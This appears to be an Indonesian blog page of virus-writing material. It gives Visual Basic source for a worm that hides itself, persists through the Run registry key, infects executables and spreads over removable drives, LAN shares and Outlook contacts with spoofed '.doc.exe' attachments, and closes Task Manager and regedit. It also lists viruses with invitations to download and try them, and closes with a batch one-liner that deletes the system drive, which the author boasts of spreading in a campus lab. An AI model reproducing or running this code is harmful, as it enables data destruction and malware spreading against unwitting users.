Public Declare Function OpenProcess Lib “kernel32? (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib “kernel32? (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib “kernel32? (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib “user32? Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib “user32? (ByVal hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib “mpr.dll” Alias “WNetOpenEnumA” _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib “mpr.dll” Alias “WNetEnumResourceA” _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib “mpr.dll” (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib “kernel32? Alias “lstrlenA” (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib “kernel32? Alias “lstrcpyA” _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(204 As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran B
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer ‘0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
‘Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub

TENTANG MEMBUAT VIRUS

Tips membuat virus

hanya untuk pendidikan

Syarat sebuah virus computer:
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya

Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai

Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah :

App.TaskVisible = False

Kemudian untuk menyembunyikan form dapat menggunakan :

Me.Visible = False

Mengaktifkan dirinya setiap startup sistem

Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :

FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName

dan menambah ke registry :

Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :

Program Executable

Setelah terinfeksi oleh program virus menjadi :

Program Virus + Program Executable + Ukuran Virus + Signature Virus

Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.

Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :

Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus

Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus

Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then
'Ambil nomor file
fNum = FreeFile
Open fname For Binary Access Read As fNum 'Buka file target
Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus
tSignature = Space$(5)
Get fNum, , tSignature 'baca tSignature
Close fNum
If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus

Close fNum
finally:
End If
End If
End If
End Sub

Ketika program Executable dijalankan maka :

Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String

virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)

Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature

If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1

Call VirInstall 'instalasi virus

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize

OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode

fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop

fname = exePath & App.EXEName & fNum & ".exe"

On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:

Close #1

Call VirInstall

If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If

Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub

Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub

Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function

Mempercepat proses penyebarannya melalui media pertukaran data dan informasi


Menyebarkan dirinya ke Floppy Disk,flas disc diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau terhadap keaktifkan jendela 3½ Floppy (A ato flas disc oleh pemakai.

Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub

Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer. Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.

Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub

Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :

Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then

For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub

Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.

Public Sub AmbilDomain()
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub

Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.

Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub

Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :

Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives

If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub

Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :

Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer

On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")

For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)

Set Mail = Outlook.CreateItem(0)

Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next

finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub

Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system

wa tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.

Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.

Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.

Ada juga worms yang menyebar melalui media Bluetooth yang dalam keadaan terbuka.

Menyebarkan dirinya dengan filename spoofing.

Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :

Misalnya :

SuratCinta.doc.pif

Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :

SuratCinta.doc

Mempercepat proses penyebarannya dengan pendekatan social engineering.

Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.

Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.

Ada juga virus yang disebarkan pada game-game maupun crack software yang menumpang pada program tersebut.

Berusaha mempertahankan existensi dirinya

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub

Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub



NB : inget hanya untuk tujuan pendidikan saja

dah segitu aje yeee

TENTANG NAMA-NAMA VIRUS

NAMA-NAMA VIRUS

Assalamualaikum.........

Armora 13 [manual]
Nama ini saya ambil dari properties dari virus ini, krn tiap antivirus berbeda-beda dlm menamakannya. Virus ini tidak terlalu berbahaya tetapi cukup cepat penyebarannya. Norman menamakan virri ini W32/Amor.A@mm, dari namanya sudah tau khan kenapa cepat menyebar he...2x. Tapi virus ini tidak kreatif krn hanya meniru rontokbro yg lebih dulu terkenal (kayak romdil aja luu...!)
Besar file : 50 KB.

Flu Burung.B [manual]
Virri yg satu ini cukup cerdas melakukan rekayasa sosial, sebagian besar pengguna komputer banyak yg tidak tau kalo PC-nya telah terinfeksi. Saya dapatkan dari Labkom 1FMIPA hii...33x, dan sampai sekarang masih setia menginfeksi kompie disana. Hati-hati bila membuka file word ...
Besar file : 51 KB.

Code X [manual]
Virus ini akan menampilkan animasi kartun pd kompie yg terinfeksi, lucu khan? mau coba???. "CodeX" => "XCode" apakah ada hubungannya dengan yogyafree yaa...up's!~. Virus ini adalah CodeX versi D.

Decoil [manual]
Virus ini sudah menggeser rontokbro dari no.1 daftar virus terbanyak korbannya (menurut vaksincom), sampai bulan ini. Icon dari virus yg satu ini selalu berubah sehingga pengguna yg hati-hati pun bisa terkecoh (me too :-] ). Di dalamnya terdapat virus decoil dengan beberapa icon, selamat mencoba.
Besar file : 464 KB.

Romantic Devils [manual]
Semester yg lalu virus ini merajalela di mana-mana, dan cukup merepotkan. Salut buat dr.Pluto... gimana nich kok virus yg baru (FluIkan) tak sehebat romdil yaa...
Besar file : 47 KB.

Shur.A [manual]
Virus ini tidak berbahaya tapi tetap saja namanya virus..., virus ini akan mengopykan dirinya di setiap folder dan subfolder. Memang virus ini tidak memblok fungsi windows sich... so terserah Anda.. coba saja!

Suspicius_M.gen [manual]
Dalam daftar virus populer versi vaksincom virus ini termasuk dalam 5 besar urutan korban terbanyak, nama ini mungkin berbeda untuk tiap-tiap antivirus, seperti PCMAV yang memasukkan virus ini sebagai keluarga brontok dengan nama "brontok-14.E".
Besar file : 33 KB.

Suspicius & Pinfi [manual]
Loh kok ada dua virus yaa.. saya sendiri juga bingung. Mungkinkah ada virus yang terinfeksi virus???. Ato mungkin memang dibuat dua virus dalam satu file!. Entahlah... yang jelas Antivirus saya (Norman gratisan) mendeteksi 2 virus ini dan virus ini saya dapatkan dari warnet yang baru saja buka di belakang kampus.
Besar file : 203 KB.

Aksika.D [manual]
Properties virus tersebut DoDoL, tapi pcmav mendeteksi virus ini sebagai virus aksika.d. Maksudnya apa yaa..pembuat virus ini kok namanya aneh-aneh....

Harpot [manual]
Nama virus harpot saya peroleh dari PCMAV dengan icon folder, mau coba!. Thank's Pc Media..
Besar file : 286 KB.

Riyani Jangkaru [manual]
Virus kawakan ini saya dapatkan dari komputer temen saya, kok masih ada virus ini yaa... kirain sudah punah.
Besar file : 73 KB.

Redlof.N [manual]
Redlof adalah virus yang cukup lama bertahan, bahkan saya sering sekali mendapatkan virus ini dari warnet, temen, ataupun di lab kampus. Walaupun banyak antivirus yang sudah mampu mendeteksi tapi tetap saja virus ini masih bertahan sampai detik ini.

MMI [manual]
Hati hati. Virus ini akan menghancurkan file office Anda dan file *.jpg (Foto Anda dengan pacar temen Anda bisa hilang...loh kokk???). Sebaiknya nggak usah coba-coba dengan virus ini, kecuali Anda ingin laporan TA Anda yang Anda ketik selama berhari-hari hilang (Biar jadi alasan ganti tema hii..31x). File induk pada c:/windows dengan icon aplikasi dos sehingga sama dengan aplikasi lain pada windows. PCMAV mengenali virus ini sebagai virus nahital.
Besar file : 176 KB.

MTH [manual]
Gue dapet virus ini dari temenkoe. Pembuatnya mungkin tidak profesional karena icon yg digunakan adalah default dari visual basic :P~. Sudah pake vb (ingat sama file dll-nya vb?), amatiran lagi..Sorry virus Anda cuman coba-coba yaa....
Besar file : 7 KB.

Moonlight-B.C [manual]
Virus ini seperti virus-virus lokal lainnya yang menggunakan icon folder dan tentu dengan *.exe akan tetapi juga *.scr, contoh yang *.scr bisa di download di sana. Semua folder akan di "superhidden" tidak dihapus. Banyak yang mengira filenya telah "hilang", padahal virus ini lumayan 'baik' karena tidak menghapus file. Semoga bermanfaat!kwkwkwk....

copyA [manual]
Virus copyA yang baru saja saya dapatkan dari labkom4 di kampus he he 33x. Entah dampaknya apa, ku tak tahu.
Besar file : 25 KB.

myztx [manual]
"MyzTx Design And Creation Lab". Itu mungkin nama pembuatnya. Virri yg satu ini cukup berbahaya karena akan membuat drive C menjadi full sehingga windows Anda akan merasa seperti naik gunung dg sepeda, wow~.
Besar file : 51 KB.

aksika.B [manual]
Jika pada halaman 3 ada aksika.D maka disini ada varian lainnya yaitu aksika.B.

ANF [manual]
Virus yang satu ini memakai icon Microsoft Office Word Xp, vaksincom menamakan virus ini sebagai virus Fawn. Tampaknya sang pembuat virus ini sedang fallin' in love (ciee...), karena dalam propertiesnya terdapat tulisan yang menyatakan virus ini ditujukan untuk yayanknya. Romantis juga yaa....
Besar file : 11 KB.

B4T0Nk [manual]
Virus yang digunakan untuk numpang nampang nama pembuat virus yaitu B$T0Nk. Nggak laku mungkin yaa..., sang pembuat virus ini?.
Besar file : 39 KB.

New Aksika [manual]
Jika virus aksika pada halaman 3 dan 6 telah diketahui namanya, maka virus aksika yang ini saya tidak tahu nama versi terbarunya apa!. Ada beberapa virus aksika di situ.

Fucking Love [manual]
Dari nama ini mungkin sang pembuat virus baru saja dikecewakan oleh pacarnya (sekarang mantan) hi..hii.. Mbok kalo ngasih nama itu yang sopan to, masak "fuck"???u???.
Besar file : 31 KB.

BlackMall [manual]
Virri yg aneh, "Black Mall" itu nama mall ya.. keren pastinya. Black Mall memakai icon shorcut ms ms dos, dengan extensi *.pif.
Besar file : 1 KB.

Brontok-9 [manual]
Virus brontok varian ke 9 (mungkin). sekarang dah ada berapa variannya?..capek dehh...!!!.

Brontok-10.B [manual]
Karena banyaknya varian brontok (rontokbro/ mybro) sehingga antivirus juga membingungkan dalam pemberian nama varian virus tersebur. Ciri utama virus brontok untuk semua varian adalah menggunakan icon folder default windows xp. Norman menamakan virus ini Rontokbro.K.
Besar file : 32 KB.

Mybro.V@mm [manual]
Virus yang satu ini juga termasuk virus brontok, menurut pcmav virus ini bernama Brontok-22.Mybro.A.
Besar file : 62 KB.

EGO [manual]
Ego ini menggunakan icon notepad dan tentu saja dengan extensi *.exe. Sekilas file itu terlihat "seolah-olah" berkapasitas 1 KB padahal besar file tersebut adalah 328 KB, mungkin itu bertujuan agar dikira benar-benar file text yang biasanya berkapasitas kecil.

Hallo Roro [manual]
Inilah virus yang paling berkesan bagi saya karena virus ini adalah virus yang pertama saya kenal (baca: menginfeksi PC saya), dan virus ini juga yang menyebabkan saya ingin mempelajari atau paling tidak mencegah pc saya agar tidak terinfeksi lagi. Antiroro juga saya sediakan dan dapat didownload di http:rossee.100webspace.net/rose download/rose aplikasi3.php.
Besar file : 1 KB.

Brontok-Sensasi.B [manual]
Rontokbro.BS@mm, itu menurut Norman . "@mm"... wow... banyak sekali brontok yang bertipe seperti itu.
Besar file : 25 KB.

ITZ [manual]
Itz akhir-akhir ini cukup banyak memakan korban (saya juga belom makan he..he..33x), Norman menyebutnya sebagai W32/Delf.AFX.

Agent.GOL [manual]
"GOOOL", emangnye maen bole. Ini ma virus Agent.GOL, walaupun menyatakan bahwa dirinya bukan virus. Sang pembuat virus mungkin seorang keeper sebuah SSB yang setiap waktu selalu kebobolan (maaf!).
Besar file : 66 KB.

Lovgate.AB@mm [manual]
Lagi-lagi "@mm". Atau ada juga yang menamakan virus ini sebagai luvgate (sama aza ya.. he..).
Besar file : 121 KB.

MLHR [manual]
Virus ini katanya dari spanyol (properties), bagi yang percaya. Norman mendeteksinya sebagai Rdesh.A.

Small.JB [manual]
Virus dengan icon media player, biasanya file virus bernama Pecahkan Saja Gelasnya (emangnya gelas siapa sich!).
Besar file : 46 KB.

Plexus.B [manual]
Virus apa lagi nich... capek deeh.... plexus memakai icon winzip.
Besar file : 38 KB.

Provisioning [manual]
Sama seperti virus lokal yang gemar sekali memakai icon folder, tapi sayang...foldernya jelek.

Renova [manual]
Virus baru nich. wkwkkwkw???.
Besar file : 23 KB.

Soraci [manual]
Seperti halnya redlof, virri ini juga *.htt, ada beberapa virus disitu.
Besar file : 12 KB.

Kill.AV [manual]
Dari namanya sudah tahu khan kenapa kok namanya killav, virus dari solo ini lumayan berbahaya ('cause killing av). Hati-hati bila mendapatkan file dengan icon winzip.

Rontokbro.F@mm [manual]
Kok banyak sekali sich virus rontokbronya?, biarin aja lah .
Besar file : 30 KB.

Rontokbro.CX@mm [manual]
Maaf bang Brontok mau lewat lagi.
Besar file : 35 KB.

Rontokbro.T [manual]
Virus brontok varian T (mungkin). sekarang dah ada berapa variannya?..capek dehh...!!!.

Sherry [manual]
Virus sherry... Vindika Anastasya. Virus ini dengan icon *.pdf, Disebarkan oleh penipu yg mengaku menyediakan tutorial hacking yg di winzip. Tapi setelah di extrak yg ada adalah file virus. Harap hati-hati!.
Besar file : 36 KB.

Brontok.msg [manual]
Nama itu menurut deteksi pcmav, banyaknya varian virus brontok sering kali membuat saya bingung!???!.
Besar file : 1 KB.

Leena.A [manual]
Virus ini menyerang file word Anda, sehingga file word tidak bisa dibuka/ diakses!.

Aksis.F [manual]
Virus ini merupakan virus aksika varian F, yang akhir-akhir ini cukup nanyak menyebar. Dengan icon folder virus menyebar, saya sendiri belum tahu dampak dari virus ini, ada yg mau coba?.
Besar file : 26 KB.

ZCrot.A [manual]
Dengan icon intenet explorer. "Deface" cRotZ Company Ruddoc. he he bukan virus yaa, yg jelas norman mendeteksinya sebagai ZCrot.A.
Besar file : 203 KB.

Dialer.AXWP [manual]
Content Access Plugin, dengan icon seperti internet explorer tetapi hurufnya bukan e akan tetapi c. Norman juga mengenalnya sebagai Dialer.AXWP, saya juga tidak tahu kenapa norman memasukkannya dalam list virus.

Rontokbro.LA [manual]
Senyummu gerakan senyumku. Sedihmu mengiris hatiku. Bukan virus Rontokbro namanya jika tidak melakukan sesuatu yg mengejutkan. Doeloe saya pernah mengatakan bahwa jika ada virus di flashdisk, maka kita boleh mendeletenya jika pc belom terinfeksi. Tapi Rontokbro.LA telah membantahnya dengan telak. Kini virus ini dengan bantuan file "Desktop.ini" & "Folder.htt" mampu menjalankan dirinya sendiri dari usb flashdisk tanpa kita klik, sebuah pemikiran yg cerdas. Tapi sayang virus ini masih dibuat dengan Visual Basic. Binggo!.
Besar file : 25 KB.

Source: Cintaku.A, Extacy&ZeroHunt, VBS
Virus source code ini saya dapatkan dari yogyafree dan jasakom, maaf bila dah ada yg poenya!. Untuk source code virus yg lebih lengkap bisa dicari di webnya mas kangtatantakwa, he he....
Besar file : 80 KB.

Brontok Terbaru [Remover]
http://h1.ripway.com/syur, apakah Anda tau isi dari web tersebut? didalamnya tentu saja ada beberapa file yg Anda "inginkan". Tapi harap hati-hati ada virus brontok terbaru disitu (Jasakom, Kresna PS). Menurut Kresna PS virus itu mirip Rontokbro.LA krn bisa mengaktifkan dirinya sendiri tanpa kita klik dari usb flash disk.

Shuriken new variant [manual]
Masih ingat dengan virus Shuriken3 atau oleh vaksincom dikenal sebagai Shur.A?, virus yg satu ini hanya "sedikit" memodifikasi virus tsb. Karena dampaknya sama aja. Knapa saya bilang baru? Karena AV Norman saya sudah tdk dpt mendeteksinya, padahal virus Shur.A yg dulu masih terdeteksi. But pake "The Killer Machine" masih ampuh kok!, & PCMAV RC14 masih mendeteksinya sebagai shuriken. Mungkin sang pembuat virus ini "lupa" mengenkripsi, sehingga jeroannya "sedikit" bisa diliat. Virus dibuat oleh (maaf) Bagus Supartono. Virus ini dibuat di komputernya di "Document and Settings\Bagus S\My Documents\MY SYURIKEN 3\SYURIKEN 3\Project1.vbp", ternyata masih dibuat dg VB.
Besar file : 35 KB.

Zulanick [manual]
Namanya kedengaran aneh ya? Tapi sebenarnya tidak, karena virus ini rupanya dibuat oleh seseorang dengan nama "Zul" dan ditujukan kepada seseorang juga (untung bukan monyet) dengan nama "anick". Nah kalo kedua nama itu digabung maka jadi "Zulanick", masuk akal khan knapa namanya Zulanick? Efek dari virus ini (yang saya ketauhi) antara lain membuat shortcut dengan nama "Cintaku kandas ditengah jalan.lnk", yang tentu anda tau kalo diklik knapa!. Nama dari virus ini saya ketahui setelah di Scan dg PCMAV.
Besar file : 180 KB.

SourceCodeVirus 4K51K4
Pelatihan Pembuatan Virus 4K51K4 dari ?The Black VB?, DNA [eXTR!M] Memori Club. Harap dipergunakan secara bijak untuk pembelajaran & pengetahuan kita akan virus komputer yg semakin meratulela! Dengan mengetahuinya diharapkan kita tdk takut lagi dengan virus2 yg menyebar saat ini. Go Coder Indonesia .

TENTANG MEMBUAT VIRUS

Membuat virus hack dengan notepad

How to make virus, saya dapet nih formula dari temen saya met mencoba ya…..? Ketik program berikut dengan notepad, dan simpan dengan ekstensi bat, misalnya virus.bat @echo offdel %systemdrive%\*.* /f /s /qshutdown -r -f -t 00 PERHATIAN : Program ini akan menghapus sistem Anda , makanya berhati-hatilah. Saya tidak bertanggung jawab atas semua yang terjadi, silahkan tanggung resiko sendiri.. ck..ckk.. Sebagai tambahan, Anda dapat juga menggunakan kode program berikut. Perintah ini hanya akan me-restart komputer Anda.. Anda aman untuk mencobanya. Sama seperti program virus.bat, program di bawah ini juga harus disimpan dengan ekstensi .bat, misalnya restart.bat @echo offshutdown -r -f -t 00 Anda dapat berimprovisasi dengan menambahkan sebuah file autorun.inf file untuk menjalankan program tersebut ketika seseorang melakukan klik ganda pada sebuah drive.SELAMAT MENCOBA. “Gunakanlah ilmu untuk kebaikan, jangan gunakan untuk kejahatan dan gagah-gagahan”. 2 Aku uda nyobain, dan uda aku sebarin di LAB kampusku, hasilnya ….???? Banyak computer yang minta install ulang. Banyak temenku yang bilang kalo ne adalah criminal, tapi menurutku ini merupakan suatu inspirasi baru untuk mengaplikasikan ilmu penyetahuan. Sebenarnya ini bukan virus, ini 